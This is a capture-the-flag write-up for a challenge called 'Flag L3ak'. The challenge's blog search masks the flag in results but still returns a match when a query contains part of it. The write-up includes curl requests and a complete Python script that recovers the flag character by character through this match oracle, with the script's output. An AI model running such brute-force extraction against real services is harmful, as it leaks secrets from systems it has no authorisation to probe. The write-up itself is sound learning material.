Flag L3ak
Finding the Vulnerability
We are given a JavaScript file which prevents flag from being showh in searches:
1
2
3
4
5
6
7
8
9
10
const matchingPosts = posts
.filter(post =>
post.title.includes(query) ||
post.content.includes(query) ||
post.author.includes(query)
)
.map(post => ({
...post,
content: post.content.replace(FLAG, '*'.repeat(FLAG.length))
}));
However, it still shows that a search is successful if it includes the flag. We can use this to solve the problem by brute forcing each individual character.
Planning the Exploit
Making a cURL request, we can see that it requires 3 characters, so we’ll need a sliding window.
1
2
curl -X POST "http://34.134.162.213:17000/api/search" -H "Content-Type: application/json" -d '{"query": "L3AK"}'
{"error":"Query must be 3 characters."}
A proper request will show this:
1
2
curl -X POST "http://34.134.162.213:17000/api/search" -H "Content-Type: application/json" -d '{"query": "L3A"}'
{"results":[{"id":3,"title":"Not the flag?","content":"Well luckily the content of the flag is hidden so here it is: ************************","author":"admin","date":"2025-05-13"},{"id":4,"title":"Real flag fr","content":"Forget that other flag. Here is a flag: L3AK{Bad_bl0g?}","author":"L3ak Member","date":"2025-06-13"}],"count":2,"query":"L3A"}
Sliding the window will return the same value:
1
2
curl -X POST "http://34.134.162.213:17000/api/search" -H "Content-Type: application/json" -d '{"query": "3AK"}'
{"results":[{"id":3,"title":"Not the flag?","content":"Well luckily the content of the flag is hidden so here it is: ************************","author":"admin","date":"2025-05-13"},{"id":4,"title":"Real flag fr","content":"Forget that other flag. Here is a flag: L3AK{Bad_bl0g?}","author":"L3ak Member","date":"2025-06-13"}],"count":2,"query":"3AK"}
Note that the flag format is L3AK{}
, so we can get a head start and know when to end.
Exploit
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#!/usr/bin/env python3
import requests
import string
search_space = string.printable
url = "http://34.134.162.213:17000/api/search"
flag = "L3AK{"
while "}" not in flag:
for character in search_space:
query = flag[-2:] + character
print(flag + character)
res = requests.post(url, headers={"Content-Type": "application/json"}, data='{"query":"' + query + '"}')
if "Not the flag" in res.text:
flag += character
break
with open("flag.txt", "w") as f:
f.write(flag)
The flag:
1
2
3
4
5
6
7
8
L3AK{L3ak1ng_th3_Fl4g??^
L3AK{L3ak1ng_th3_Fl4g??_
L3AK{L3ak1ng_th3_Fl4g??`
L3AK{L3ak1ng_th3_Fl4g??{
L3AK{L3ak1ng_th3_Fl4g??|
L3AK{L3ak1ng_th3_Fl4g??}
found }
L3AK{L3ak1ng_th3_Fl4g??}
This post is licensed under CC BY 4.0 by the author.